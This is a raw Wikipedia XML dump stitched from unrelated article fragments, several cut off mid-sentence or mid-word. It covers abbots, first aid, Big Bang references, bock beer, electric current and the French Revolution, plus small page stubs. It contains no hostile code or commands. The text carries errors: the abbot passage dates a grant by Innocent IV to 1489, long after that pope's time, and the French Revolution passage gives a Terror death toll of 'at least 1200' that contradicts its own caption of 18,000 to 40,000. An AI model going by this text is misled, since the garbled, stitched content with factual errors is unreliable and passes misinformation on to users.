&quot;abbot&quot; came in fairly general use in western [[Christian monasticism|monastic]] [[order (religious)|orders]] whose members (or the 'full' level at least) are ordained priest. However, various congregations chose other titles for their superiors, e.g. among the [[Dominican Order|Dominicans]], [[Carmelites]], [[Augustinian]]s, etc., ''Praepositus'', ''Provost'', and ''Prior''; among the [[Franciscan]]s, ''Custos,'' &quot;guardian&quot;; and by the monks of [[Camaldolese|Camaldoli]], &quot;Major.&quot; ==Monastic History== An '''abbot''' (from the Hebrew ''ab,'' &quot;a father&quot;, through the Syriac ''abba,'' Latin ''abbas'' (genitive form, ''abbatis''), Old English ''abbad,'' ; German ''Abt;'' French ''abbé'') is the head and chief governor of a community of [[monk]]s, called also in the East ''hegumenos'' or ''archimandrite.'' The [[English language|English]] version for a female monastic head is '''[[abbess]]'''. In [[Egypt]], the first home of monasticism, the jurisdiction of the abbot, or archimandrite, was but loosely defined. Sometimes he ruled over only one community, sometimes over several, each of which had its own abbot as well. [[Cassian]] speaks of an abbot of the [[Thebaid]] who had 500 monks under him. By the [[Rule of St Benedict]], which, until the reform of [[Abbey of Cluny|Cluny]], was the norm in the West, the abbot has jurisdiction over only one community. The rule, as was inevitable, was subject to frequent violations; but it was not until the foundation of the [[Abbey of Cluny|Cluniac]] Order that the idea of a supreme abbot, exercising jurisdiction over all the houses of an order, was definitely recognized. Monks, as a rule, were laymen, nor at the outset was the abbot any exception. For the reception of the [[sacraments]], and for other religious offices, the abbot and his monks were commanded to attend the nearest church. This rule proved inconvenient when a monastery was situated in a desert or at a distance from a city, and necessity compelled the [[ordination]] of some monks. This innovation was not introduced without a struggle, [[ecclesiology|ecclesiastical]] dignity being regarded as inconsistent with the higher [[spirituality|spiritual]] life, but, before the close of the [[5th century]], at least in the East, abbots seem almost universally to have become [[deacon]]s, if not priests. The change spread more slowly in the West, where the office of abbot was commonly filled by laymen till the end of the [[7th century]]. The ecclesiastical leadership exercised by abbots despite their frequent lay status is proved by their attendance and votes at ecclesiastical councils. Thus at the [[first Council of Constantinople]], AD [[448]], 23 [[archimandrite]]s or abbots sign, with 30 [[bishop]]s. The [[second Council of Nicaea]], AD [[787]], recognized the right of abbots to ordain their monks to the inferior orders below the [[deacon|diaconate]], a power usually reserved to bishops. Abbots were originally subject to [[bishop|episcopal]] jurisdiction, and continued generally so, in fact, in the West till the 11th century. The [[Code of Justinian]] (lib. i. tit. iii. de Ep. leg. xl.) expressly subordinates the abbot to episcopal oversight. The first case recorded of the partial exemption of an abbot from episcopal control is that of Faustus, abbot of Lerins, at the council of Arles, AD [[456]]; but the exorbitant claims and exactions of bishops, to which this repugnance to episcopal control is to be traced, far more than to the arrogance of abbots, rendered it increasingly frequent, and, in the 6th century, the practice of exempting religious houses partly or altogether from episcopal control, and making them responsible to the pope alone, received an impulse from [[Pope Gregory I|Pope Gregory the Great]]. These exceptions, introduced with a good object, had grown into a widespread evil by the 12th century, virtually creating an ''imperium in imperio,'' and depriving the bishop of all authority over the chief centres of influence in his [[diocese]]. In the 12th century the abbots of Fulda claimed precedence of the [[archbishopric of Cologne|archbishop of Cologne]]. Abbots more and more assumed almost episcopal state, and in defiance of the prohibition of early councils and the protests of St Bernard and others, adopted the episcopal insignia of [[mitre]], ring, gloves and sandals. It has been maintained that the right to wear mitres was sometimes granted by the popes to abbots before the 11th century, but the documents on which this claim is based are not genuine (J. Braun, ''Liturgische Gewandung'', p. 453). The first undoubted instance is the bull by which [[Pope Alexander II|Alexander II]] in [[1063]] granted the use of the mitre to Egelsinus, abbot of the monastery of St Augustine at Canterbury. The '''mitred abbots''' in England were those of [[Abingdon, England|Abingdon]], [[St Albans Abbey|St Alban's]], Bardney, Battle, [[Bury St. Edmunds Abbey|Bury St Edmund's]], St Augustine's Canterbury, Colchester, [[Croyland]], [[Evesham, Worcestershire|Evesham]], [[Glastonbury]], [[Gloucester]], St Benet's Hulme, Hyde, [[Malmesbury]], [[Peterborough]], [[Ramsey]], [[Reading Abbey|Reading]], [[Selby]], [[Shrewsbury]], [[Tavistock]], [[Thorney]], [[Westminster]], [[Winchcombe]], St Mary's [[York]]. Of these the precedence was originally yielded to the abbot of Glastonbury, until in AD [[1154]] [[Pope Adrian IV|Adrian IV]] (Nicholas Breakspear) granted it to the abbot of St Alban's, in which monastery he had been brought up. Next after the abbot of St Alban's ranked the abbot of Westminster. To distinguish abbots from bishops, it was ordained that their mitre should be made of less costly materials, and should not be ornamented with gold, a rule which was soon entirely disregarded, and that the crook of their [[crosier|pastoral staff]] should turn inwards instead of outwards, indicating that their jurisdiction was limited to their own house. The adoption of certain episcopal insignia ([[pontificalia]]) by abbots was followed by an encroachment on episcopal functions, which had to be specially but ineffectually guarded against by the [[First Council of the Lateran|Lateran council]], AD [[1123]]. In the East, abbots, if in priests' orders, with the consent of the bishop, were, as we have seen, permitted by the [[Second Council of Nicaea|second Nicene council]], AD [[787]], to confer the [[tonsure]] and admit to the order of reader; but gradually abbots, in the West also, advanced higher claims, until we find them in AD [[1489]] permitted by [[Pope Innocent IV|Innocent IV]] to confer both the subdiaconate and diaconate. Of course, they always and everywhere had the power of admitting their own monks and vesting them with the religious habit. When a vacancy occurred, the bishop of the diocese chose the abbot out of the monks of the [[abbey|convent]], but the right of election was transferred by jurisdiction to the monks themselves, reserving to the bishop the confirmation of the election and the benediction of the new abbot. In [[abbey]]s exempt from the (arch)bishop's diocesan jurisdiction, the confirmation and [[benediction]] had to be conferred by the pope in person, the house being taxed with the expenses of the new abbot's journey to [[Rome]]. It was necessary that an abbot should be at least 25 years of age, of legitimate birth, a monk of the house, unless it furnished no suitable candidate, when a liberty was allowed of electing from another convent, well instructed himself, and able to instruct others, one also who had learned how to command by having practised obedience. In some exceptional cases an abbot was allowed to name his own successor. Cassian speaks of an abbot in Egypt doing this; and in later time
;br&gt; As of January 2006, a bill has been proposed which, if approved to law, would make illegal [[immigration]] a felony. This is mostly in response to increased illegal alien traffic from Mexico.{{fact}} It no doubt would create great controversy before it had a chance at becoming law. ===See also=== *[[Three strikes law]] [[Category:Crimes]] [[Category:Criminal law]] [[Category:legal terms]] [[de:Kapitalverbrechen]] [[nl:misdrijf]] [[es:crimen]] [[fr:crime]] [[da:Kriminalitet]] [[simple:Crime]] [[fi:Rikos]]</text> </revision> </page> <page> <title>Ferdinand Habsburg</title> <id>11295</id> <revision> <id>33386339</id> <timestamp>2005-12-31T16:20:51Z</timestamp> <contributor> <username>Gdr</username> <id>55814</id> </contributor> <comment>dates</comment> <text xml:space="preserve">'''Ferdinand Habsburg''' may refer to several members of the [[Habsburg]] dynasty: * [[Ferdinand I, Holy Roman Emperor]] (1503–1564). * [[Ferdinand II, Holy Roman Emperor]] (1578–1637). * [[Ferdinand III, Holy Roman Emperor]] (1608–1657). * [[Ferdinand I of Austria]] (1793–1875). {{disambig}}</text> </revision> </page> <page> <title>First aid</title> <id>11296</id> <revision> <id>42043771</id> <timestamp>2006-03-03T12:09:10Z</timestamp> <contributor> <username>Phil Boswell</username> <id>24373</id> </contributor> <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment> <text xml:space="preserve">[[Image:Star of life.svg|150px|thumb|[[Star of Life]] symbol ]] [[Image:First_aid.svg|150px|thumb|First aid symbol]] '''First aid''' is the immediate and temporary aid provided to a sick or injured person until medical treatment can be provided. It generally consists of series of simple, life-saving medical techniques that a non-doctor or lay person can be trained to perform with minimal equipment. ==History== The [[Knights Hospitaller]] were probably the first to specialize in battlefield care for the wounded. [[St. John Ambulance]] was formed in 1877 to teach first aid (a term devised by the order) in large railway centres and mining districts. The order and its training began to spread throughout the [[British Empire]] and [[Europe]]. As well, in 1859 Henry Dunant helped organize villagers in [[Switzerland]] to help victims of the Battle of Solferino. Four years later, four nations met in Geneva and formed the organization which has grown into the [[International Red Cross and Red Crescent Movement|Red Cross]]. Developments in first aid and many other medical techniques have been fueled in large by wars: the [[American Civil War]] prompted [[Clara Barton]] to organize the [[American Red Cross]]. Today, there are several groups that promote first aid, such as the [[military]] and the [[Scouting]] movement. New techniques and equipment have helped make today's first aid simple and effective. ==Training== It is best to obtain training in first aid ''before'' a medical emergency occurs. One needs hands-on training by experts to perform first aid safely, and recommendations change, so that training should be repeated every three years. [[CPR]] recertification is recommended annually. Training in first aid is often available through community organizations such as the [[Red Cross]] and [[St. John Ambulance]]. In many countries in the [[Commonwealth of Nations]], [[St. John Ambulance]] provides first aid training and in some countries operates [[ambulance]] services. In Scotland, [[St. Andrew's Ambulance Association]] provides first aid training. In the United States, the [[American Heart Association]] and American CPR Training also offer first aid training. In the United Kingdom, there are two main types of first aid courses offered. An &quot;Emergency Aid for Appointed Persons&quot; course typically lasts one day, and covers the basics, focusing on critical interventions for conditions such as [[cardiac arrest]] and [[bleeding|severe bleeding]], and is usually not formally assessed. A &quot;First Aid at Work&quot; course is a four-day course (two days for a requalification) that covers the full spectrum of first aid, and is formally assessed. Other courses offered by training organisations such as [[St John Ambulance]] include Baby &amp; Child Courses, and courses geared towards more advanced life support, such as [[defibrillation]] and administration of medical gases (oxygen &amp; entenox). ==Basic First Aid== This is intended as a quick guide only. Effective [[CPR]] and [[first aid]] require hands-on training that is best accomplished by attending a class in person. (See list above for organizations). This section summarizes one common formula for performing first aid. #'''Survey the scene''' What's going on? Is it safe for me to approach? #'''Do a primary patient survey''' Airway, Breathing, Circulation (the &quot;ABC's&quot;) #'''Call for emergency services''' #'''Do a secondary patient survey''', and provide appropriate emergency first aid ===Survey the scene=== '''Survey the scene and approach the victim'''. Determine whether the scene is safe. Look for dangers, such as downed powerlines, traffic, unstable structures or fast-moving water. Determine what may have happened, how many victims are involved, and if any bystanders can help. If several persons appear to be injured, perform [[triage]]. ===Survey the patient=== '''Perform an initial assessment'''. Get consent from a conscious victim (parent/guardian if the victim is a minor) before providing care. If the victim is unconscious, consent is implied. Use infection control precautions and check for signs and symptoms of any life-threatening conditions and care for them. To perform an initial assessment: * Check the victim for consciousness and obtain consent if the victim is conscious; * Check the [[ABC FirstAid|ABCs]] (airway, breathing and circulation); and * Check for severe bleeding. Provide brief care for the conditions. If the patient lacks air or circulation, they may begin to suffer brain damage after approximately four minutes. After ten minutes, they most likely will have some permanent brain damage. (Although unusual, some severly [[hypothermic]] drowning victims have been successfully revived with no brain damage after an extremely long period without oxygen.) To care for breathing and circulation means first clearing the airway, and briefly attempting to restart their breathing or circulation with rescue breathing or [[CPR]]. This step is crucial, because an unconscious person's airway can be blocked by a normal, comfortable-looking head position (e.g., on their back with a pillowed head). Often, simply tilting the head back will open the airway and restart their breathing. Likewise, many people recovering from a blocked airway vomit, and if they are unconscious, they can drown in the vomit. The standard prevention for both these issues is to turn a breathing, unconscious patient on their side, turning their head and spine in the same movement to avoid spinal injury, pillowing their head on one of their arms. Do not move casualties unless it is necessary to remove them from danger, or to make treatment possible (such as onto a hard surface for [[cardiopulmonary resuscitation|CPR]]). Calling for emergency medical services must take priority over extended care such as long term rescue breathing or extended [[cardiopulmonary resuscitation|CPR]], since these techniques are intended to gain time for emergency services to arrive as part of the chain of survival. However, if bystanders are available, both can be pursued at the same time. ===Call for emergency services=== The next step is to activate [[emergency medical services]] by [[call for help|calling for help]] using a local [[emergency telephone number]], such as ''[[9-1-1|911]]'' in Canada or the United States, ''999'' in the [[United Kingdom|UK]], ''112'' in most of continential [[Europe]], ''000'' in Australia , ''111'' in New Zealand and ''120'' in the mainland of the Peoples' Republic of China. Operators will generally require the caller's name and location and some information on person that is being called about (level of consciousness, injuries, name if known, chronic medical illnessess if known). If you ask bystanders to call an ambulance for you, make sure they report back to you once released by the emergency operator to confirm that the call has been made. See ''[[Call for help]]''. Also note that in some circumstances, such as in remote areas or on the battlefield, outside help may be unavailable. The skill of [[wilderness first aid]] covers other measures including evacuation, but is no substitute for a medical professional if one can be located. ===Do a secondary survey and begin extended care=== The '''secondary survey''' is to gather information about conditions or injuries that may not be life threatening, but may become so if not cared for. A properly trained and certified first aider performs three stages in the secondary survey: #'''Interview''' #'''Vitals''' #'''Head-to-toe examination''' Perform a secondary survey only if you are sure that the victim has '''no life-threatening ([[ABC (first aid)|ABC]]) conditions'''. It is also essential that stages be performed in order, with the interview first, so that in case the patient loses consciousness all verbal medical and related information has been obtained. Additionally, any information obtained should be recorded, with some organizations employing standard forms that have multiple copies for emergency medical personnel.{{ref|firstaidform}} ====1) Interview the victim==== * Signs and Symptoms - Visible indications of injury and patient reported sensations (e.g. pain) * Allergies - especially those relevant to injury (i.e. allergy to latex, pencillin, etc.) * Medications - what current or
=External links and references== ===Big Bang overviews=== *[[Open Directory Project]]: [http://www.dmoz.org/Science/Astronomy/Cosmology/ Cosmology] *[[PBS]].org, [http://www.pbs.org/deepspace/timeline/ &quot;From the Big Bang to the End of the universe. The Mysteries of Deep Space Timeline&quot;] *[http://www.historyoftheuniverse.com/ &quot;Welcome to the History of the universe&quot;]. Penny Press Ltd. *[[University of Cambridge|Cambridge University]] Cosmology, &quot;[http://www.damtp.cam.ac.uk/user/gr/public/bb_home.html The Hot Big Bang Model]&quot;. Includes a discussion of the problems with the Big Bang. *[[Smithsonian Institution]], &quot;[http://cfa-www.harvard.edu/seuforum/bigbanglanding.htm UNIVERSE! - The Big Bang and what came before]&quot;. *D'Agnese, Joseph, &quot;[http://www.findarticles.com/p/articles/mi_m1511/is_7_20/ai_55030837 The last Big Bang man left standing, physicist Ralph Alpher devised Big Bang Theory of universe]&quot;. ''Discover'', July 1999. *Felder, Gary, &quot;[http://www.ncsu.edu/felder-public/kenny/papers/cosmo.html The Expanding universe]&quot;. *LaRocco, Chris and Blair Rothstein, [http://www.umich.edu/~gs265/bigbang.htm &quot;THE BIG BANG: It sure was BIG!!&quot;]. *Mather, John C., and John Boslough 1996, ''The very first light: the true inside story of the scientific journey back to the dawn of the universe''. ISBN 0-465-01575-1 p.300 *Shestople, Paul, &quot;[http://cosmology.berkeley.edu/Education/IUP/Big_Bang_Primer.html &quot;Big Bang Primer&quot;]. *Singh, Simon, ''Big Bang: the origin of the universe'', Fourth Estate (2005). A historical review of the Big Bang. Sample text and reviews can be found at [http://www.321books.co.uk/reviews/big-bang-simon-singh.htm]. *Wright, Edward L., [http://www.astro.ucla.edu/~wright/BBhistory.html &quot;Brief History of the universe&quot;]. *Feuerbacher, Björn and Ryan Scranton (2006). &quot;[http://www.talkorigins.org/faqs/astronomy/bigbang.html Evidence for the Big Bang]&quot;, FAQ at [http://www.talkorigins.org/ talkorigins.org]. For an annotated list of textbooks and monographs, see [[physical cosmology#Textbooks|physical cosmology]]. ===Some primary sources=== *G. Lemaître, &quot;''Un Univers homogène de masse constante et de rayon croissant rendant compte de la vitesse radiale des nébuleuses extragalactiques''&quot; (A homogeneous universe of constant mass and growing radius accounting for the radial velocity of extragalactic nebulae), ''Annals of the Scientific Society of Brussels'' '''47A''' (1927):41&amp;mdash;[[General relativity]] implies the universe has to be expanding. Einstein brushed him off in the same year. Lemaître's note was translated in ''Monthly Notices of the Royal Astronomical Society'' '''91''' (1931): 483&amp;ndash;490. *G. Lemaître, ''Nature'' '''128''' (1931) suppl.: 704, with a reference to the primeval atom. *R. A. Alpher, H. A. Bethe, G. Gamow, &quot;The Origin of Chemical Elements,&quot;''Physical Review'' '''73''' (1948), 803. The so-called &amp;alpha;&amp;beta;&amp;gamma; paper, in which Alpher and Gamow suggested that the light elements were created by protons capturing neutrons in the hot, dense early universe. Bethe's name was added for symmetry. *G. Gamow, &quot;The Origin of Elements and the Separation of Galaxies,&quot; ''Physical Review'' '''74''' (1948), 505. These two 1948 papers of Gamow laid the foundation for our present understanding of big-bang nucleosynthesis. *G. Gamow, ''Nature'' '''162''' (1948), 680. *R. A. Alpher, &quot;A Neutron-Capture Theory of the Formation and Relative Abundance of the Elements,&quot; ''Physical Review'' '''74''' (1948), 1737. *R. A. Alpher and R. Herman, &quot;On the Relative Abundance of the Elements,&quot; ''Physical Review'' '''74''' (1948), 1577. This paper contains the first estimate of the present temperature of the universe. *R. A. Alpher, R. Herman, and G. Gamow ''Nature'' '''162''' (1948), 774. *A. A. Penzias and R. W. Wilson, &quot;A Measurement of Excess Antenna Temperature at 4080 Mc/s,&quot; ''Astrophysical Journal'' '''142''' (1965), 419. The paper describing the discovery of the cosmic microwave background. *R. H. Dicke, P. J. E. Peebles, P. G. Roll and D. T. Wilkinson, &quot;Cosmic Black-Body Radiation,&quot; ''Astrophysical Journal'' '''142''' (1965), 414. The theoretical interpretation of Penzias and Wilson's discovery. *A. D. Sakharov, &quot;Violation of CP invariance, C asymmetry and baryon asymmetry of the universe,&quot; ''Pisma Zh. Eksp. Teor. Fiz.'' '''5''', 32 (1967), translated in ''JETP Lett.'' '''5''', 24 (1967). *R. A. Alpher and R. Herman, &quot;Reflections on early work on 'big bang' cosmology&quot; ''Physics Today'' '''Aug 1988''' 24&amp;ndash;34. A review article. ===Religion and philosophy=== * Leeming, David Adams, and Margaret Adams Leeming, ''A Dictionary of Creation Myths''. Oxford University Press (1995), ISBN 0195102754. * Pius XII (1952), &quot;Modern Science and the Existence of God,&quot; ''The Catholic Mind'' 49:182&amp;ndash;192. === Research articles === Most scientific papers about cosmology are initially released as preprints on [http://arxiv.org arxiv.org]. They are generally technical, but sometimes have introductions in plain English. The most relevant archives, which cover experiment and theory, are the [http://arxiv.org/archive/astro-ph astrophysics] archive, where papers closely grounded in observations are released, and the [http://arxiv.org/archive/gr-qc general relativity and quantum cosmology] archive, which covers more speculative ground. Papers of interest to cosmologists also frequently appear on the [http://arxiv.org/archive/hep-ph high energy phenomenology] and [http://arxiv.org/archive/hep-th high energy theory] archives. [[Category:Astrophysics]] [[Category:Cosmology]] [[Category:Origin beliefs]] {{Link FA|bg}} {{Link FA|de}} {{Link FA|sk}} {{Link FA|vi}} [[ar:نظرية الانفجار العظيم]] [[bg:Теория на Големия взрив]] [[ca:Big Bang]] [[cs:Velký třesk]] [[da:Big Bang]] [[de:Urknall]] [[et:Suur Pauk]] [[el:Big Bang]] [[es:Teoría del Big Bang]]{{Link FA|es}} [[eo:Praeksplodo]] [[fa:مهبانگ]] [[fr:Big-bang]] [[ko:빅뱅]] [[hr:Veliki prasak]] [[id:Big Bang]] [[is:Miklihvellur]] [[it:Big Bang]] [[he:המפץ הגדול]] [[lt:Didysis Sprogimas]] [[lv:Lielais sprādziens]] [[hu:Ősrobbanás]] [[nl:Oerknal]] [[ja:ビッグバン]] [[no:Big Bang]] [[nn:Big Bang]] [[pl:Wielki Wybuch]] [[pt:Big Bang]] [[ro:Big Bang]] [[ru:Большой взрыв]] [[scn:Big Bang]] [[simple:Big Bang]] [[sk:Veľký tresk]] [[sl:Prapok]] [[sr:Велики Прасак]] [[fi:Alkuräjähdys]] [[sv:Big Bang]] [[th:บิกแบง]] [[vi:Vụ Nổ Lớn]] [[tr:Big Bang]] [[zh:大爆炸理论]] {{featured article}}</text> </revision> </page> <page> <title>Book binding</title> <id>4117</id> <revision> <id>15902415</id> <timestamp>2003-07-14T13:49:00Z</timestamp> <contributor> <username>Pizza Puzzle</username> <id>11070</id> </contributor> <minor /> <comment>redirect</comment> <text xml:space="preserve">#REDIRECT [[bookbinding]]</text> </revision> </page> <page> <title>Bock</title> <id>4119</id> <revision> <id>41991459</id> <timestamp>2006-03-03T02:11:16Z</timestamp> <contributor> <ip>67.171.79.179</ip> </contributor> <text xml:space="preserve">[[Image:Beer-Paulaner-Salvator-Doppelbock.jpg|right|thumb|200px|A Paulaner Salvator]]'''Bock''' is a style of [[German beer]]. [[Bottom-fermenting yeast|Bottom fermented]], it is named for the famous [[Middle Ages|medieval]] [[Germany| German]] brewing town of [[Einbeck]]. The beer is a heavy bodied [[lager]] and is darkened by high-coloured [[malt]]s. Bock is traditionally brewed in the winter time for drinking during the Spring. Bocks have a long history of being brewed and drunk by [[Catholic]] monks in Germany. During the Spring religious season of [[lent]], monks were required to fast. Bock beers are higher in [[food energy]] and nutrients than other beers, thus providing sustenance during the holiday. Variants include ''Maibock'' (brewed for the month of May), ''Eisbock'' (ice bock), ''Weizenbock'' (wheat bock), and ''Doppelbock'' (double bock). The names of ''Doppelbock'' brews commonly end in ''-ator'' in honor of the original, Paulaner ''Salvator'' (Latin, &quot;Savior&quot;), pictured right. Many bock beer producers have displayed goats on bottle labels since ''Bock'' in German means billy goat. In the local dialect, [[Einbeck]] is pronounced similar to &quot;Einbock&quot;, which sounds like ''ein Bock'' (a goat). ===Bocks=== *Einbecker Ur-Bock (Einbecker original bock) *[[Hacker-Pschorr]] Dunkeler Bock *[[Shiner Bock]] ===Maibocks=== The lightest colored of the bock beers, these two are generally grouped together. These pale bocks are brewed in winter and first tapped in spring, often to coincide with seasonal celebrations. They range in color from deep gold to light amber. Naturally, light malts are used almost exclusively to produce them; thus they are fairly new to the bock scene. Pale malts were unheard of until early in the 19th century, when malting technology was refined, but they soon found their way into strong lagers in central Europe. Decoction mashing is usually employed in the production of a pale bock, but the caveat to this is that the overall color of the brew darkens substantially during this procedure. A tricky undertaking, indeed. Because no dark malts are used, the soft, clean malt flavor and aroma come through totally unobstructed. Helles/maibocks are often given a slightly higher dose of hops than other bocks, giving them a fresher, livelier aroma and more balance. Because of their relatively broad color range, pale bocks present a nice diversity. They could actually be segregated into two subcategories, with helles bocks being the golden hued and maibocks being those that appear more amber. The helles version would contain almost exclusively pilsner malt, while the maiboc
alculable]] [[sv:Beräkningsbart tal]]</text> </revision> </page> <page> <title>Electric current</title> <id>6207</id> <revision> <id>41748817</id> <timestamp>2006-03-01T13:38:35Z</timestamp> <contributor> <username>DV8 2XL</username> <id>146684</id> </contributor> <comment>Revert to revision 41581138 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment> <text xml:space="preserve">{{backlink|Electricity}} {{TOCright}} '''Electric current''' is the flow of [[electric charge]]. Natural examples include [[lightning]] and the [[solar wind]], the source of the [[polar aurora]]. The most familiar artificial form of electric current is the flow of [[electrical conduction|conduction]] [[electron]]s in metal [[wire]]s, such as the overhead power lines that deliver [[electric power transmission|electrical energy]] across long distances and the smaller wires within electrical and electronic equipment. In [[electronics]], other forms of electric current include the flow of electrons through [[resistor]]s or through the vacuum in a [[vacuum tube]], the flow of [[ion]]s inside a [[Battery (electricity)|battery]], and the flow of [[Electron hole|holes]] within a [[semiconductor]]. == Relation between current and charge == The symbol typically used for the amount of current (the amount of charge ''Q'' flowing per unit of time ''t'') is '''''I''''', from the German word ''Intensität'', which means 'intensity'. :&lt;math&gt;I = {dQ \over dt}&lt;/math&gt; Formally this is written as :&lt;math&gt;i(t) = {dq(t) \over dt}&lt;/math&gt; or inversely as &lt;math&gt;q(t_0) = \int_{-\infty}^{t_0} i(t)\, dt&lt;/math&gt; == Conventional current == '''Conventional current''' was defined early in the history of electrical science as a flow of positive charge. In solid metals, like wires, the positive charges are immobile, and only the negatively charged [[electron]]s flow in the direction opposite conventional current, but this is not the case in most non-metallic conductors. In other materials, charged particles flow in both directions at the same time. Electric currents in [[electrolytes]] are flows of electrically charged atoms ([[ion]]s), which exist in both positive and negative varieties. For example, an [[electrochemistry|electrochemical]] cell may be constructed with salt water (a solution of [[sodium chloride]]) on one side of a membrane and pure water on the other. The membrane lets the positive sodium ions pass, but not the negative chlorine ions, so a net current results. Electric currents in [[Plasma physics|plasma]] are flows of electrons as well as positive and negative ions. In ice and in certain solid electrolytes, flowing [[proton]]s constitute the electric current. To simplify this situation, the original definition of conventional current still stands. There are also instances where the electrons are the charge that is physically moving, but where it makes more sense to think of the current as the movement of positive &quot;[[electron hole|holes]]&quot; (the spots that should have an electron to make the conductor neutral). This is the case in a p-type [[semiconductor]]. The [[SI]] unit of electrical current is the [[ampere]]. Electric current is therefore sometimes informally referred to as '''''amperage''''' or '''''ampage''''', by analogy with the term ''[[voltage]]''. Though this is a valid term, some engineers frown on it. == The drift speed of an electric current == The mobile charged particles within a conductor move constantly in random directions. In order for a net flow of charge to exist, the particles must also move together with an average drift rate. For example, during currents in [[metal]]s the particles follow an erratic path, bouncing from atom to atom, but generally drifting in the direction of the [[electric field]]. The speed at which they drift can be calculated from the equation: :&lt;math&gt;I=nAvQ \!\ &lt;/math&gt; where :''I'' is the current :''n'' is number of charged particles '''per unit volume''' :''A'' is the cross-sectional area of the conductor :''v'' is the drift velocity, and :''Q'' is the charge on each particle. Electric currents in solid matter are typically very slow flows. For example, in a [[copper]] [[wire]] of cross-section 0.5 mm&amp;sup2;, carrying a current of 5 A, the ''[[drift velocity]]'' of the electrons is of the order of a millimetre per second. To take a different example, in the near-vacuum inside a [[cathode ray tube]], the electrons travel in near-straight lines (&quot;ballistically&quot;) at about a tenth of the [[speed of light]]. However, we know that electric current [[Signal (information theory)|signals]] are waves which propagate at very high speed. As with any wave, the speed of the waves in a medium have little relation to the speed of that medium as it moves. For example, in [[electric power transmission|AC power lines]], the waves of current propagate rapidly from a source to a distant [[external electric load|load]], while the charges themselves only move back and forth over a tiny distance. The velocity of flowing charges can be quite low. Yet, any changes in electric current can travel at the speed of light, though it might be slower in certain media. The percentage of speed in a medium compared to the speed of light in vacuum is called [[velocity factor]], and is proportional to [[refractive index]]. == Current density == '''Current density''' is the current per unit (cross-sectional) area. Mathematically, current is defined as the net flux through an area. Thus: :&lt;math&gt; I = j \cdot A &lt;/math&gt; where, in the MKS or [[SI]] system of measurement, :''I'' is the current, measured in [[ampere]]s :''j'' is the &quot;current density&quot; measured in amperes per [[square metre]] :''A'' is the area through which the current is flowing, measured in [[square metre]]s The current density is defined as: :&lt;math&gt; j=\int_i n_i \cdot x_i \cdot \mathbf{u_i} &lt;/math&gt; where :''n'' is the particle density (number of particles per unit volume) :''x'' is the mass, charge, or any other characteristic whose flow one would like to measure. :''u'' is the average velocity of the particles in each volume Current density is an important consideration in the design of electrical and electronic systems. Most electrical conductors have a finite, positive resistance, making them dissipate power in the form of heat. The current density must be kept sufficiently low to prevent the conductor from melting or burning up, or the insulating material failing. In [[superconductivity|superconductors]], excessive current density may generate a strong enough magnetic field to cause spontaneous loss of the superconductive property. == Electromagnetism == Every electric current produces a [[magnetic field]]. The magnetic field can be visualized as a pattern of circular field lines surrounding the wire. Electric current can be directly measured with a [[galvanometer]], but this method involves breaking the circuit, which is sometimes inconvenient. Current can also be measured without breaking the circuit by detecting the [[magnetic field]] it creates. Devices used for this include [[Hall effect]] [[sensor]]s, [[current clamp]]s and [[Rogowski coil]]s. == Ohm's law == [[Ohm's law]] predicts the current in an (ideal) [[resistor]] (or other [[ohmic device]]) to be the quotient of applied [[voltage]] over [[electrical resistance]]: :&lt;math&gt; I = \frac{V}{R} &lt;/math&gt; where :''I'' is the current, measured in [[ampere]]s :''V'' is the [[potential difference]] measured in [[volt]]s :''R'' is the [[electrical resistance|resistance]] measured in [[ohm]]s == Electrical safety == The most obvious hazard is electric shock, where a current through part of the body can cause effects from a slight tingle to cardiac arrest or severe burns. It is the current that passes that determines the effect, and this depends on the nature of the contact, the condition of the body part, the current path through the body and the voltage of the source. The effect also varies considerably from individual to individual. (For approximate figures see '''Shock Effects''' under [[Electric shock]].) Because of this and because in practical situations the current that may pass cannot be predicted any supply of over 24 volts should be considered a possible source of dangerous electric shock. In particular note that 110 volts can certainly be lethal. Electric arcs, which can occur with supplies of any voltage (for example, a typical [[arc welding]] machine has a voltage between the electrodes of just a few volts), are very hot and emit ultra-violet and infra-red radiation. Proximity to an electric arc can therefore cause severe burns while UV is damaging to the unprotected eye. Accidental electric heating can also be dangerous. An overloaded power cable is a frequent cause of fire. A battery as small as an AA cell placed in a pocket with change can lead to a short circuit heating the battery and the coins which may inflict burns. NiCad and NiMh cells are particularly risky because they can deliver a very high current due to their low internal resistance. ==See also== *[[Alternating current]] *[[Direct current]] *[[electrical conduction]] for more information on the physical mechanism of current flow in materials *[[SI electromagnetism units]] ==External links== * [http://www.unitconversion.org/unit_converter/current-v.html Interactive Current Conversion Table] - convert selected unit to all other units of current * [http://amasci.com/amateur/elecdir.html Which direction does electricity ''really'' flow?] * [http://www.allaboutcircuits.com All about circuits] - a useful site introducing electricity and electronics, as well as some mathematics involved with circuit calculations. [[Category:Electromagnetism]] [[Category:Magnetism]] [[ar:تيار كهربائي]] [[bg:Елект
he guillotine on [[October 16]]. When war went badly, prices rose and the [[sans-culottes]] (poor labourers and radical Jacobins) rioted; counter-revolutionary activities began in some regions. This encouraged the Jacobins to seize power through a parliamentary [[coup d'état|''coup'']], backed up by force effected by mobilising public support against the Girondist faction, and by utilising the mob power of the Parisian ''sans-culottes''. An alliance of Jacobin and ''sans-culottes'' elements thus became the effective centre of the new government. Policy became considerably more radical. [[Image:Badische Guillotine.JPG|thumb|left|[[Guillotine]]: between 18,000 to 40,000 people were executed during the [[Reign of Terror]]]] The [[Committee of Public Safety]] came under the control of [[Maximilien Robespierre]], and the Jacobins unleashed the [[Reign of Terror]] ([[1793]]-[[1794]]). At least 1200 people met their deaths under the [[guillotine]] or otherwise; after accusations of counter-revolutionary activities. The slightest hint of counter-revolutionary thoughts or activities (or, as in the case of [[Jacques Hébert]], revolutionary zeal exceeding that of those in power) could place one under suspicion, and the trials did not proceed scrupulously. In 1794 [[Robespierre]] had ultra-radicals and moderate Jacobins executed; in consequence, however, his own popular support eroded markedly. On [[July 27]], [[1794]], the French people revolted against the excesses of the Reign of Terror in what became known as the [[Thermidorian Reaction]]. It resulted in moderate Convention members deposing and executing Robespierre and several other leading members of the Committee of Public Safety. The new government was predominantly made up of Girondists who had survived the Terror, and after taking power, they took revenge as well by persecuting even those Jacobins who had helped to overthrow Robespierre, banning the Jacobin Club, and executing many of its former members in what was known as the [[White Terror]]. The Convention approved the new &quot;Constitution of the Year III&quot; on [[August 17]] [[1795]]; a [[plebiscite]] ratified it in September; and it took effect on [[September 26]], [[1795]]. 